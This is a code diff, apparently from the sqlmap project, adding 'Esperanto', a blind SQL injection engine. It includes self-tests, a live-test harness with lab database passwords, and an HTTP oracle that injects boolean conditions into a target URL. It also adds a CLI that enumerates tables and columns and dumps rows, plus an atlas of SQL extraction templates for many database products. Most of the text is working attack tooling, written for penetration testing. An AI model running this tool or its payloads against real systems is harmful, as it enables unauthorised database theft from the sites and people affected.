Esperanto(nulOracle) + esp.discover() + nul = esp.extractResult("(SELECT a FROM t)") + assert nul.value == "A\x00B" and nul.complete, "embedded NUL: %r" % nul + + # -- round-5 adversarial regressions -------------------------------------- + esp = Esperanto(_sqliteOracle(), maxlen=0) + esp.discover() + z = esp.extractResult("'abc'") + assert z.value == "" and z.truncated and not z.complete, "maxlen=0: %r" % z + esp = Esperanto(_sqliteOracle()) + esp.discover() + for bad in (("-100", 10), ("100", 10)): # symmetric integer cap + try: + esp.extractInteger(bad[0], maximum=bad[1]) + assert False, "int cap not enforced for %s" % bad[0] + except OverflowError: + pass + try: # None observation -> undecided + Esperanto(lambda c: None, retries=0)._ask("1=1") + assert False, "None became False" + except OracleUndecided: + pass + try: # hard query budget + Esperanto(_sqliteOracle(), max_queries=0)._ask("1=1") + assert False, "budget not enforced" + except QueryBudgetExceeded: + pass + esp = Esperanto(_sqliteOracle()) # ordered PoC refused in equality mode + esp.discover() + esp.dialect.compare = "equality" + try: + esp.poc("'A'") + assert False, "equality-mode PoC fabricated ordering" + except RuntimeError: + pass + # a UTF-16 code-unit fn returning an isolated surrogate must not be "complete" + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE s (v TEXT)") + con.execute(u"INSERT INTO s VALUES ('\U0001F642')") + con.create_function("ASCII", 1, lambda x: None if not x else ( + ord(x[0]) if ord(x[0]) <= 0xFFFF else 0xD800 + ((ord(x[0]) - 0x10000) >> 10))) + con.commit() + nohex = __import__("re").compile(r"(?i)\bHEX\(|RAWTOHEX|ENCODE\(|BINTOHEX|HEX_ENCODE|TO_HEX|BINTOSTR") + + def surOracle(cond): + if nohex.search(cond): + return False + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(surOracle) + esp.discover() + sur = esp.extractResult("(SELECT v FROM s)") + assert sur.value == _REPL and not sur.complete, "isolated surrogate accepted: %r" % sur + + print(" integrity: fail-closed + NULL/empty + limit0 + int-cap + budget + surrogate + PoC -> guarded") + + # -- InferenceStrategy: the frozen hand-off is a *sufficient* host interface -- + oracle = _sqliteOracle() + esp = Esperanto(oracle) + esp.discover() + strat = esp.strategy() + try: # immutable + strat.compare_mode = "x" + assert False, "strategy is not frozen" + except AttributeError: + pass + # extract using ONLY the strategy + oracle (no Esperanto retrieval code) + got = hostExtract(oracle, strat, "(SELECT name FROM users WHERE id=1)") + assert got.value == "Admin-42" and got.exact, "hostExtract via strategy failed: %r" % got + row = strat.asQueriesRow() + assert row["substring"] and row["length"] and row["inference"], "queries-row incomplete: %r" % row + print(" strategy: frozen + hostExtract('%s')=%r (exact) + queries.xml row rendered" % (strat.compare_mode, got.value)) + print("SELF-TEST PASSED (all compare modes + identify + bytes + quorum + integrity + strategy)") + + +def _livetest(only=None, waf=False): + """Live blind validation against real DBMS instances (dev harness, '--live'). + Each backend is handed ONLY a boolean oracle - dialect-mismatch errors read as + False, the transaction rolled back per probe - and is never told which engine it + is poking. Requires the driver + a reachable instance; skips what it can't reach.""" + import re as _re + SECRET = "Zagreb-Ka5tel" + block = _re.compile(r"(?i)\b(ASCII|UNICODE|ORD|CODEPOINT|ASCII_VAL|ASCW|UNICODE_CODE|CODE)\s*\(") if waf else None + + def cursor(con, wrap): + def ask(cond): + if block and block.search(cond): + return False + cur = con.cursor() + try: + cur.execute(wrap % cond) + row = cur.fetchone() + return bool(row) and int(row[0]) == 1 + except Exception: + try: + con.rollback() + except Exception: + pass + return False + finally: + try: + cur.close() + except Exception: + pass + return ask + + def prep(con, ddl): + cur = con.cursor() + for stmt in ddl: + try: + cur.execute(stmt) + except Exception: + if hasattr(con, "rollback"): + con.rollback() + con.commit() + cur.close() + + def sqlite(): + import sqlite3 + con = sqlite3.connect(":memory:") + prep(con, ("CREATE TABLE esp_probe (name TEXT)", "INSERT INTO esp_probe VALUES ('%s')" % SECRET)) + return cursor(con, "SELECT CASE WHEN (%s) THEN 1 ELSE 0 END") + + def mysql(): + import pymysql + con = pymysql.connect(host="127.0.0.1", port=13306, user="root", password="root", database="lab") + prep(con, ("DROP TABLE IF EXISTS esp_probe", "CREATE TABLE esp_probe (name VARCHAR(64))", + "INSERT INTO esp_probe VALUES ('%s')" % SECRET)) + return cursor(con, "SELECT CASE WHEN (%s) THEN 1 ELSE 0 END") + + def postgres(): + import psycopg2 + con = psycopg2.connect(host="127.0.0.1", port=15432, user="esp", password="pass", dbname="espdb") + prep(con, ("DROP TABLE IF EXISTS esp_probe", "CREATE TABLE esp_probe (name VARCHAR(64))", + "INSERT INTO esp_probe VALUES ('%s')" % SECRET)) + return cursor(con, "SELECT CASE WHEN (%s) THEN 1 ELSE 0 END") + + def oracle(): + import oracledb + con = oracledb.connect(user="appu", password="appu", dsn="127.0.0.1:1521/FREEPDB1") + prep(con, ("BEGIN EXECUTE IMMEDIATE 'DROP TABLE esp_probe'; EXCEPTION WHEN OTHERS THEN NULL; END;", + "CREATE TABLE esp_probe (name VARCHAR2(64))", "INSERT INTO esp_probe VALUES ('%s')" % SECRET)) + return cursor(con, "SELECT CASE WHEN (%s) THEN 1 ELSE 0 END FROM DUAL") + + def mssql(): + import pymssql + con = pymssql.connect(server="127.0.0.1", port="11433", user="sa", password="Esp_pass123", database="master") + prep(con, ("IF OBJECT_ID('esp_probe') IS NOT NULL DROP TABLE esp_probe", + "CREATE TABLE esp_probe (name VARCHAR(64))", "INSERT INTO esp_probe VALUES ('%s')" % SECRET)) + return cursor(con, "SELECT CASE WHEN (%s) THEN 1 ELSE 0 END") + + ok = True + for name, factory in (("SQLite", sqlite), ("MySQL", mysql), ("PostgreSQL", postgres), + ("Oracle", oracle), ("MSSQL", mssql)): + if only and name.lower() not in only: + continue + try: + oracle_fn = factory() + except Exception as ex: + print(" %-12s SKIP (%s)" % (name, ex)) + continue + esp = Esperanto(oracle_fn) + try: + esp.discover() + got = esp.extract("(SELECT MAX(name) FROM esp_probe)") + product = esp.identify()["product"] + except Exception as ex: + print(" %-12s FAIL (%s)" % (name, ex)) + ok = False + continue + passed = got == SECRET + ok = ok and passed + print(" %-12s %s product=%-12r secret=%r%s" % ( + name, "PASS" if passed else "FAIL", product, got, " [WAF]" if waf else "")) + return ok + + +def _httpOracle(url, data=None, cookie=None, headers=None, string=None, code=None): + """A boolean oracle over a real HTTP target, for standalone use. The condition is + substituted at the injection marker: '[INFERENCE]' is replaced verbatim (you supply + the context, e.g. `id=1 AND [INFERENCE]`), else a single '*' is replaced with + ` AND ()`. + + True/false is decided by a reduced port of sqlmap's response differentiation - the + Pareto 80%: explicit --string/--code win; otherwise it CALIBRATES from + two true (1=1) baselines + one false (1=2) and auto-picks the cheapest reliable + signal - HTTP status code, else a stable text line present in true but not false, + else a difflib similarity ratio. Two noise-killers borrowed from sqlmap make it + robust: DYNAMIC content (lines that differ between two identical true requests, e.g. + timestamps/CSRF/nonces) is stripped, and the REFLECTED injected condition is removed + from the body so it can't skew the match (sqlmap's "reflective values ... filtering + out"). Not a replacement for checkBooleanExpression - just its high-value core.""" + import difflib + try: # py3 + from urllib.parse import quote as _quote, urlsplit + from http.client import HTTPConnection, HTTPSConnection + except ImportError: # py2 + from urllib import quote as _quote + from urlparse import urlsplit + from httplib import HTTPConnection, HTTPSConnection + + if "[INFERENCE]" not in (url + (data or "")) and "*" not in (url + (data or "")): + url = url + "*" # no marker given -> inject at the end of the URL by default + print("[i] no injection marker ('*' or '[INFERENCE]') given; defaulting to end of URL: %s" % url) + + # ONE kept-alive connection reused across every probe. a blind dump is thousands of + # requests; opening a fresh TCP+TLS handshake per probe (what urlopen does) is ~0.2s of + # pure handshake that dwarfs the request itself - reuse drops per-probe latency ~5-10x. + _conn = {"c": None, "key": None} + + def _fresh(scheme, netloc): + return (HTTPSConnection if scheme == "https" else HTTPConnection)(netloc, timeout=30) + + def fetch(cond): + # encode the INJECTED fragment fully and splice it into the (already-encoded) URL, so a + # '&' or '%' produced by the SQL (Access '&' concat, LIKE '%') becomes %26/%25 inside the + # parameter VALUE - it can't turn into a new HTTP parameter separator or a stray escape. + if "[INFERENCE]" in (url + (data or "")): # verbatim marker (caller owns context) + payload = _quote(cond, safe="") + u_raw = url.replace("[INFERENCE]", payload) + d_raw = data.replace("[INFERENCE]", payload) if data else data + else: # '*' -> boolean AND at the mark + ins = _quote(" AND (%s)" % cond, safe="") + u_raw = url.replace("*", ins, 1) if "*" in url else url + d_raw = data.replace("*", ins, 1) if (data and "*" in data) else data + parts = urlsplit(u_raw) # the surrounding URL is already user-encoded + path = parts.path or "/" + if parts.query: + path += "?" + parts.query + body = d_raw.encode("utf-8") if d_raw else None + method = "POST" if body else "GET" + hdrs = {"User-Agent": "esperanto", "Connection": "keep-alive"} + if body: + hdrs["Content-Type"] = "application/x-www-form-urlencoded" + if cookie: + hdrs["Cookie"] = cookie + for h in (headers or []): + k, _, v = h.partition(":") + hdrs[k.strip()] = v.strip() + key = (parts.scheme, parts.netloc) + for attempt in (1, 2): # reuse the socket; reconnect once if it dropped + if _conn["c"] is None or _conn["key"] != key: + if _conn["c"] is not None: + try: + _conn["c"].close() + except Exception: + pass + _conn["c"], _conn["key"] = _fresh(parts.scheme, parts.netloc), key + try: + _conn["c"].request(method, path, body, hdrs) + resp = _conn["c"].getresponse() # http.client returns 4xx/5xx too (no raise) + raw, status = resp.read(), resp.status # read fully so the socket stays reusable + return raw.decode("utf-8", "replace"), status + except Exception: + try: + _conn["c"].close() + except Exception: + pass + _conn["c"] = None # force a reconnect on the retry + return None, None # transport FAILED -> undecided, NOT ("",0) + # (an empty body must never look like a False page) + + dyn = set() + + def _deReflect(body, cond): + return body.replace(cond, "") if cond else body # drop the reflected payload + + def _clean(body, cond): + body = _deReflect(body, cond) + return "\n".join(ln for ln in body.split("\n") if ln not in dyn) if dyn else body + + mode, wanted, base = None, None, {} + if string is not None: + mode = "string" + elif code is not None: + mode, wanted = "code", int(code) + else: # auto-calibrate + (t1, s1), (t2, s2), (f1, sf) = fetch("1=1"), fetch("1=1"), fetch("1=2") + if t1 is None or t2 is None or f1 is None: + raise SystemExit("[!] cannot calibrate oracle: transport failed on a control request") + dyn = set(t1.split("\n")) ^ set(t2.split("\n")) # varies between identical requests -> dynamic + tc, fc = _clean(t1, "1=1"), _clean(f1, "1=2") + if s1 == s2 and s1 != sf: # (1) HTTP status alone separates true/false + mode, wanted = "code", s1 + else: + # (2) a SHORT distinctive true-only marker: the longest contiguous chunk that is + # in the true page but not the false one, capped to a "longish" string (never the + # whole document) and verified stable across BOTH true baselines + t2c = _clean(t2, "1=1") + blocks = difflib.SequenceMatcher(None, fc, tc, autojunk=False).get_opcodes() + chunks = sorted((tc[b1:b2].strip() for op, _a1, _a2, b1, b2 in blocks + if op in ("insert", "replace")), key=len, reverse=True) + wanted = None + for chunk in chunks: + marker = chunk[:64] # bounded, distinctive marker + if len(marker) >= 6 and marker in t2c and marker not in fc: + mode, wanted = "autostring", marker + break + if wanted is None: # (3) similarity ratio floor + mode, base = "ratio", {"t": tc, "f": fc} + if string is None: + print("[i] calibrated oracle: %s%s" % (mode, (" (%r)" % wanted) if mode in ("code", "autostring") else "")) + + def classify(cond): + body, status = fetch(cond) + if body is None: # transport failure -> UNDECIDED (tri-state): + return None # let the engine retry/degrade, never a fake bool + if mode == "string": + return string in body + if mode == "code": + return status == wanted + if mode == "autostring": + return wanted in _clean(body, cond) + c = _clean(body, cond) + st = difflib.SequenceMatcher(None, c, base["t"]).quick_ratio() + sf = difflib.SequenceMatcher(None, c, base["f"]).quick_ratio() + if abs(st - sf) < _RATIO_MARGIN: # too close to call -> undecided, not a coin-flip + return None + return st > sf + + state = {"n": 0, "dead": False} + + def oracle(cond): + # PERIODIC control revalidation: over thousands of requests the baseline can drift + # (auth expiry, rate-limit page, CDN challenge, redeploy, marker swap). Every 256 probes + # re-run the known controls; if 1=1/1=2 stop separating, SUSPEND (return undecided) rather + # than keep feeding a broken model into bisection. + state["n"] += 1 + if state["n"] % 256 == 0 or state["dead"]: + t, f = classify("1=1"), classify("1=2") + state["dead"] = not (t is True and f is False) + if state["dead"]: + print("[!] oracle controls no longer separate (1=1=%r, 1=2=%r) - suspending" % (t, f)) + return None + return classify(cond) + + return oracle + + +def _safeterm(s): + """Neutralize control/escape bytes in DB content before it reaches the terminal - stored + values can carry ANSI cursor/title/OSC sequences, embedded newlines or fake log prefixes + that would otherwise manipulate or forge the operator's console.""" + if s is None: + return s + # escape C0 (< 0x20), DEL (0x7f) AND C1 (0x80-0x9f) controls - a bare 0x9b is an ANSI CSI + # introducer, so leaving the C1 range through would still let stored content drive the terminal + return "".join(c if (u" " <= c < u"\x7f") or c > u"\x9f" else "\\x%02x" % ord(c) for c in s) + + +def _printTable(columns, rows): + """Render a bordered, column-aligned table (sqlmap-style) instead of raw ' | ' joins.""" + cells = [["NULL" if v is None else _safeterm(v) for v in row] for row in rows] + widths = [max([len(columns[i])] + [len(r[i]) for r in cells]) for i in range(len(columns))] + bar = "+" + "+".join("-" * (w + 2) for w in widths) + "+" + line = lambda vals: "| " + " | ".join(v.ljust(widths[i]) for i, v in enumerate(vals)) + " |" + print(bar) + print(line(columns)) + print(bar) + for r in cells: + print(line(r)) + print(bar) + + +import binascii as _binascii +_HEX = set("0123456789abcdefABCDEF") + + +def _previewFramed(partial): + """A hex-framed row payload decoded into the value AS IT ARRIVES - including the in-progress + token's completed bytes - so the live line grows CHARACTER BY CHARACTER, like sqlmap. Handles + BOTH grammars: length-framed `V:;` / `N;` and the legacy `V` / `N` (','-sep). + Returns None when `partial` isn't a framed payload.""" + if not partial or partial[0] not in "NV" or any(c not in _HEX and c not in ",:;NV" for c in partial): + return None + + def _dec(h): + h = h[:len(h) - (len(h) % 2)] # only WHOLE bytes so far + try: + return _binascii.unhexlify(h).decode("utf-8", "replace") + except Exception: + return "?" + + out = [] + if ";" in partial or ":" in partial: # length-framed grammar: V:; / N; + for t in partial.split(";"): + if not t: + continue + if t == "N": + out.append("NULL") + elif t.startswith("V"): + _lp, _sep, hx = t[1:].partition(":") + out.append(_dec(hx)) + return ", ".join(out) + for t in partial.split(","): # legacy grammar + if t == "N": + out.append("NULL") + elif t.startswith("V"): + out.append(_dec(t[1:])) + return ", ".join(out) + + +def _scalar(esp, expr): + """A user-facing scalar that DISPLAYS its integrity instead of erasing it: an inexact + (truncated / case-ambiguous / unverified) value is shown with its status, never as if exact.""" + r = esp.extractResult(expr) + if r.value is None: + return "NULL" if r.is_null else "n/a (unresolved)" + return _safeterm(r.value) if r.exact else "%s [%s]" % (_safeterm(r.value), r.integrity) + + +def _report(esp, args): + """Run the requested action(s) against a discovered target and print the results.""" + print("[*] dialect: %r" % esp.dialect) + verdict = esp.identify() + print("[*] back-end: %s %s" % (verdict.get("product") or "unknown", verdict.get("version") or "")) + # scope schema/db lookups to -D, else the current database (and, for a specific table, + # the schema it actually lives in) - WITHOUT this a table that ALSO exists in a system + # schema (e.g. MySQL's mysql/information_schema 'users') merges columns and yields a + # garbage 0-row dump. mirrors the sqlmap handler's _scopeFor. + scope = args.db + if scope is None and (args.tables or args.columns or args.dump): + dbexpr = esp.dialect.identity.get("database") + try: + r = esp.extractResult(dbexpr) if dbexpr else None + # the scope name becomes a keyset bound / schema qualifier - a case/accent-ambiguous + # spelling would mis-target (merge a system-schema table, yield a 0-row dump), so + # require a byte-exact read, exactly as the sqlmap handler's _safeExtract does. + cur = r.value if (r and r.exact) else None + if r and r.value and not r.exact: + print("[!] scope database name not byte-exact (%s) - not scoping" % r.integrity) + except Exception: + cur = None + if args.tbl and (args.columns or args.dump): + try: + scope = cur if (cur and esp.hasTable(args.tbl, cur)) else (esp.tableSchema(args.tbl) or cur) + except Exception: + scope = cur + else: + scope = cur + if scope: + print("[i] scoping to database/schema: %s" % scope) + if args.current_user: + expr = esp.dialect.identity.get("user") + print("[*] current user: %s" % (_scalar(esp, expr) if expr else "n/a")) + if args.current_db: + expr = esp.dialect.identity.get("database") + print("[*] current database: %s" % (_scalar(esp, expr) if expr else "n/a")) + if args.tables: + print("[i] fetching tables ...") + print("[*] tables: %s" % ", ".join(esp.enumerate("table", schema=scope) or [""])) + if args.columns: + if not args.tbl: + print("[!] --columns needs -T ") + else: + print("[i] fetching columns for '%s' ..." % args.tbl) + print("[*] columns of %s: %s" % (args.tbl, ", ".join(esp.columns(args.tbl, schema=scope) or [""]))) + if args.dump: + if not args.tbl: + print("[!] --dump needs -T
") + else: + cols = [c.strip() for c in args.col.split(",")] if args.col else None + if cols is None: # enumerate columns FIRST (own phase), so the + print("[i] fetching columns for table '%s' ..." % args.tbl) # 'entries' phase below streams ROWS, not column names + cols = esp.columns(args.tbl, schema=scope) or None + print("[i] fetching entries for table '%s' ..." % args.tbl) + # NO silent internal cap: dump ALL rows (bounded by the live COUNT) and always + # print whether the result came back complete. + try: + limit = esp.extractInteger("(SELECT COUNT(*) FROM %s)" % esp.qualify(args.tbl, scope)) or 10 + except Exception: + limit = 1 << 30 + result = esp.dump(args.tbl, columns=cols, schema=scope, limit=limit) + if not result or not result["columns"]: + print("[!] could not dump %s" % args.tbl) + else: + tag = "" if result["complete"] else " - INCOMPLETE (%s)" % (result.get("keyed_by") or "best-effort") + if not result.get("exact", True): # coverage complete but content collation-dependent + tag += " - INEXACT (case/accents may differ)" + print("[*] Table: %s (%d entries%s)" % (args.tbl, len(result["rows"]), tag)) + _printTable(result["columns"], result["rows"]) + + +def _banner(): + # modest CLI identity, sqlmap-styled: a small globe (DBMS-agnostic/universal) + the Esperanto + # green star. Colored only on a TTY; pure-ASCII (no coding header on this file); text columns + # aligned at a fixed offset so the escape codes (zero display width) don't skew them. + import sys as _sys + tty = _sys.stdout.isatty() + G = "\033[0;32m" if tty else "" # esperanto green (the globe) + S = "\033[1;32m" if tty else "" # bright green (the star) + W = "\033[1;37m" if tty else "" # bold white (the name) + U = "\033[4;37m" if tty else "" # underline (the site) + R = "\033[0m" if tty else "" + return ( + " %(G)s___%(R)s\n" + " %(G)s/ _ \\%(R)s %(W)sesperanto%(R)s {%(ver)s}\n" + " %(G)s| (_) |%(R)s\n" + " %(G)s\\___/ %(S)s*%(R)s %(U)s%(site)s%(R)s\n" + ) % dict(G=G, S=S, W=W, U=U, R=R, ver=__version__, site=_SITE) + + +def main(argv=None): + """Standalone entry point: drive the engine against a live HTTP target.""" + import argparse + + class _Formatter(argparse.HelpFormatter): + # show the metavar ONCE ('-H, --header HEADER', not '-H HEADER, --header HEADER'), + # like sqlmap's own help, so option/help stays on a single line + def __init__(self, prog): + argparse.HelpFormatter.__init__(self, prog, max_help_position=28) + + def _format_action_invocation(self, action): + if not action.option_strings or action.nargs == 0: + return ", ".join(action.option_strings) or argparse.HelpFormatter._format_action_invocation(self, action) + metavar = self._format_args(action, action.dest.upper()) # py2/py3-portable default metavar + return "%s %s" % (", ".join(action.option_strings), metavar) + + parser = argparse.ArgumentParser( + prog="esperanto", formatter_class=_Formatter, + usage="esperanto -u URL [options]", # short synopsis, not an auto-listing of every flag + description="DBMS-agnostic blind-SQLi enumeration engine (standalone)") + parser.add_argument("--version", action="version", version="esperanto %s (%s)" % (__version__, _SITE)) + parser.add_argument("-u", "--url", help="target URL (with a '*'/'[INFERENCE]' marker)") + parser.add_argument("--data", help="POST data string") + parser.add_argument("--cookie", help="HTTP Cookie header") + parser.add_argument("-H", "--header", action="append", help="extra HTTP header (repeatable)") + parser.add_argument("--string", help="match string for a True response") + parser.add_argument("--code", type=int, help="HTTP code for a True response") + parser.add_argument("--banner", action="store_true", help="retrieve DBMS banner") + parser.add_argument("--current-user", action="store_true", dest="current_user", help="retrieve current user") + parser.add_argument("--current-db", action="store_true", dest="current_db", help="retrieve current database") + parser.add_argument("--tables", action="store_true", help="enumerate tables") + parser.add_argument("--columns", action="store_true", help="enumerate table columns (needs -T)") + parser.add_argument("--dump", action="store_true", help="dump table entries (needs -T)") + parser.add_argument("-D", dest="db", help="database/schema to enumerate") + parser.add_argument("-T", dest="tbl", help="table to enumerate") + parser.add_argument("-C", dest="col", help="columns to dump (comma-separated)") + # internal dev/test harness switches - functional but hidden from --help (--live drives the + # local-Docker DBMS livetest; --waf is a livetest-only fault-injection mode, NOT a real WAF bypass) + parser.add_argument("--live", action="store_true", help=argparse.SUPPRESS) + parser.add_argument("--waf", action="store_true", help=argparse.SUPPRESS) + parser.add_argument("--self-test", action="store_true", dest="selftest", help=argparse.SUPPRESS) + args, engines = parser.parse_known_args(argv) + + if args.live: + names = [a.lower() for a in engines if not a.startswith("-")] + return 0 if _livetest(only=names or None, waf=args.waf) else 1 + if args.selftest: # self-test only on EXPLICIT request + _selftest() + return 0 + print(_banner()) # CLI identity (after the dev-harness paths above) + if not args.url: # no target and nothing to do -> show help, don't surprise + parser.print_help() + return 1 + + target = args.url if "://" in args.url else ("http://" + args.url) # tolerate a scheme-less URL + esp = Esperanto(_httpOracle(target, args.data, args.cookie, args.header, + args.string, args.code)) + import sys as _sys + _tty = _sys.stdout.isatty() + def _charLive(partial, total): + # LIVE char-by-char on ONE rewriting line, exactly like sqlmap: the value grows in + # place ([*] retrieved: e -> em -> ema -> ...) and is FINALIZED with a newline when + # complete, so it can't collide with the next message. Framed rows preview as cells. + shown = _previewFramed(partial) + if shown is None: + shown = partial + _sys.stdout.write("\r\033[K[i] retrieved: %s" % _safeterm(shown[-200:])) + if len(partial) >= total: # value complete -> keep it and drop to a new line + _sys.stdout.write("\n") + _sys.stdout.flush() + def _plainLive(value): # piped/non-tty: one plain line per value, no control codes + _sys.stdout.write("[i] retrieved: %s\n" % _safeterm(value)) + _sys.stdout.flush() + if _tty: + esp._charProgress = _charLive # animated char-by-char is the sole feedback on a terminal + else: + esp._progress = _plainLive # logs/pipes get clean per-value lines instead + print("[i] discovering the back-end SQL dialect (agnostic mode) ...") + try: + esp.discover() + _report(esp, args) + except RuntimeError as ex: # unreachable/uninjectable target -> clean message, no traceback + print("[!] could not establish a working boolean oracle (%s)" % ex) + print(" check the target is reachable and injectable, and the marker/--string/--code are right") + return 1 + except KeyboardInterrupt: # Ctrl-C mid-extraction -> clean stop, no traceback + print("\n[!] aborted by user") + return 1 + return 0 + + +if __name__ == "__main__": + import sys + sys.exit(main()) diff --git a/extra/esperanto/atlas.py b/extra/esperanto/atlas.py new file mode 100644 index 00000000000..8e65af9b133 --- /dev/null +++ b/extra/esperanto/atlas.py @@ -0,0 +1,508 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Capability atlas: the candidate SQL forms Esperanto tries (best-first) to discover a +dialect blind, mined from data/xml/queries.xml across the supported DBMSes. Data only, +no logic. Each table is (name, template, ...); templates use str.format fields such as +{expr}/{a}/{b}/{code}/{col}/{x}. Source is pure ASCII - any non-ASCII character is +written as a \\uXXXX escape so it is always obvious which code point is meant. +""" + +from __future__ import print_function + +import binascii + + +def _unhexlify(value): + """Strict py2/3 hex decode - rejects non-hex/odd-length rather than cleaning it.""" + if isinstance(value, type(u"")): + value = value.encode("ascii") + return binascii.unhexlify(value) + + +def _isSingleUnicodeScalar(value): + """True for exactly one Unicode scalar (incl. a py2 narrow-build surrogate pair).""" + if len(value) == 1: + return True + return (len(value) == 2 and 0xD800 <= ord(value[0]) <= 0xDBFF and + 0xDC00 <= ord(value[1]) <= 0xDFFF) + + +# string concatenation of {a} and {b} (operator or function form) +_CONCAT = ( + ("pipes", "({a})||({b})"), # || : 26/31 DBMSes (ANSI) + ("concat", "CONCAT({a},{b})"), # MySQL/MaxDB/HSQLDB + ("plus", "({a})+({b})"), # MSSQL/Sybase + ("amp", "({a})&({b})"), # MS Access +) + + +# 1-based substring: {len} characters of {expr} starting at {pos} +_SUBSTRING = ( + ("SUBSTR", "SUBSTR(({expr}),{pos},{len})"), + ("SUBSTRING", "SUBSTRING(({expr}),{pos},{len})"), + ("MID", "MID(({expr}),{pos},{len})"), + ("SUBSTRING_FROM", "SUBSTRING(({expr}) FROM {pos} FOR {len})"), + ("SUBSTRC", "SUBSTRC(({expr}),{pos},{len})"), + ("substring_lc", "substring(({expr}),{pos},{len})"), + # LEFT/RIGHT composition, a fallback rung for dialects/filters exposing LEFT+RIGHT + # but not SUBSTR/SUBSTRING/MID. NOTE: this identity is exact only for len<=1 (which + # is ALL esperanto ever asks - every _sub() call reads one char), where it reduces to + # RIGHT(LEFT(x,pos),1). For len>1 past the string end it over-returns; the general + # fix needs LEN(x), which would defeat this rung's whole purpose (no length fn), so + # it is deliberately kept length-free and len=1-scoped. + ("left_right", "RIGHT(LEFT(({expr}),({pos})+({len})-1),{len})"), +) + + +# CHARACTER count of {expr} (byte-count functions live in _BYTELEN, not here) +_LENGTH = ( + ("CHAR_LENGTH", "CHAR_LENGTH({expr})"), + ("LENGTH", "LENGTH({expr})"), + ("LEN", "LEN({expr})"), + ("length_lc", "length({expr})"), +) + + +# single char {expr} -> its integer code point +_CHARCODE = ( + ("ASCII", "ASCII({expr})"), + ("UNICODE", "UNICODE({expr})"), + ("ORD", "ORD({expr})"), + ("CODEPOINT", "CODEPOINT({expr})"), + ("UNICODE_VAL", "UNICODE_VAL({expr})"), # Firebird (code point; ASCII_VAL below errors >255) + ("ASCII_VAL", "ASCII_VAL({expr})"), + ("ASCW", "ASCW({expr})"), + ("UNICODE_CODE", "UNICODE_CODE({expr})"), + ("TO_CODE_POINTS", "TO_CODE_POINTS({expr})[SAFE_OFFSET(0)]"), # BigQuery/Spanner (array-indexed) +) + + +# integer {code} -> single char (lets extraction build literals without quoting) +_CHARFROM = ( + ("CHAR", "CHAR({code})"), + ("CHR", "CHR({code})"), + ("NCHAR", "NCHAR({code})"), + ("UNICODE_CHAR", "UNICODE_CHAR({code})"), # Firebird (code point; pairs with UNICODE_VAL) + ("ASCII_CHAR", "ASCII_CHAR({code})"), # Firebird (0-255) +) + + +# {expr} -> uppercase, prefixless (no 0x/0h) HEX of its bytes (collation-independent; recovers case) +_HEXFN = ( + ("HEX", "UPPER(HEX({expr}))"), # MySQL/MariaDB/TiDB/SQLite/DB2/MaxDB/Cubrid/ClickHouse/Doris/StarRocks/Spark/Hive + ("RAWTOHEX_RAW", "UPPER(RAWTOHEX(UTL_RAW.CAST_TO_RAW({expr})))"), # Oracle + ("RAWTOHEX", "UPPER(RAWTOHEX({expr}))"), # H2 / HSQLDB (yields UTF-16 hex, e.g. 'q'->'0071') + ("ENCODE", "UPPER(ENCODE(CONVERT_TO(({expr})::text,'UTF8'),'HEX'))"),# PostgreSQL/CockroachDB/CrateDB + ("mssql_convert", "UPPER(CONVERT(VARCHAR(MAX),CONVERT(VARBINARY(MAX),CONVERT(NVARCHAR(MAX),{expr})),2))"), # MSSQL/Azure SQL: normalize to NVARCHAR so the bytes are ALWAYS UTF-16LE (CAST-to-VARBINARY of a varchar is 1-byte, of an nvarchar 2-byte - mixing the two mis-decodes); MAX = don't truncate + ("BINTOSTR", "UPPER(BINTOSTR(CONVERT(VARBINARY,{expr})))"), # Sybase + ("HEX_ENCODE", "UPPER(HEX_ENCODE({expr}))"), # Snowflake/Altibase (Firebird needs a VARBINARY cast) + ("BINTOHEX", "UPPER(BINTOHEX(TO_BINARY({expr})))"), # SAP HANA + ("TO_HEX_VARBINARY", "UPPER(TO_HEX(CAST({expr} AS VARBINARY)))"), # Presto/Vertica + ("TO_HEX_BYTES", "UPPER(TO_HEX(CAST({expr} AS BYTES)))"), # BigQuery/Spanner +) + + +# uppercase hex alphabet the nibble reader walks over +_HEXDIGITS = "0123456789ABCDEF" + + +# cap on a single char's hex length (UTF-32 = 8 bytes = 16 nibbles) +_MAX_HEX_CHAR_NIBBLES = 16 + + +# hex encodings of 'q' (0x71) -> the text codec that decodes them; distinguishes +# single-byte (utf-8/ascii) from UTF-16 BE/LE so the dump decoder reads the right one +_HEX_Q_ENCODINGS = (("71", "utf-8"), ("0071", "utf-16-be"), ("7100", "utf-16-le")) + + +# scalar expressions that yield the back-end's DECLARED character set NAME, tried in turn - +# the strongest encoding signal there is (the DB tells us its own charset), and read once. A +# wrong-family probe errors -> reported False -> skipped, so the first that resolves is the one. +_CHARSET_PROBES = ( + "@@character_set_connection", # MySQL/MariaDB/TiDB: the charset + # CAST(x AS CHAR) outputs (what the + # framed dump hexes), NOT @@character_set_database + "current_setting('server_encoding')", # PostgreSQL / Cockroach / Crate + "(SELECT value FROM nls_database_parameters WHERE parameter='NLS_CHARACTERSET')", # Oracle + "CONVERT(VARCHAR(64),COLLATIONPROPERTY(CONVERT(NVARCHAR(128),SERVERPROPERTY('Collation')),'CodePage'))", # SQL Server -> code page number +) + + +# declared charset NAME (normalized: lowercased, non-alphanumerics stripped) -> Python codec. +# Encodes the vendor QUIRKS that make byte-level guessing wrong: MySQL "latin1" is really +# Windows-1252, Oracle "WE8MSWIN1252"/PG "WIN1252" too; only "iso-8859-1"-named sets are true +# Latin-1. This is where reading the DB's own answer beats statistical detection. +_CHARSET_CODEC = { + "utf8": "utf-8", "utf8mb4": "utf-8", "utf8mb3": "utf-8", "al32utf8": "utf-8", + "unicode": "utf-8", "utf8unicodeci": "utf-8", "65001": "utf-8", + "utf16": "utf-16", "utf16le": "utf-16-le", "utf16be": "utf-16-be", "al16utf16": "utf-16-be", "ucs2": "utf-16-be", + "latin1": "cp1252", # MySQL 'latin1' == Windows-1252 + "cp1252": "cp1252", "windows1252": "cp1252", "we8mswin1252": "cp1252", "win1252": "cp1252", "1252": "cp1252", + "iso88591": "latin-1", "we8iso8859p1": "latin-1", "88591": "latin-1", "28591": "latin-1", + "iso885915": "iso-8859-15", "latin9": "iso-8859-15", "we8iso8859p15": "iso-8859-15", + "cp1251": "cp1251", "windows1251": 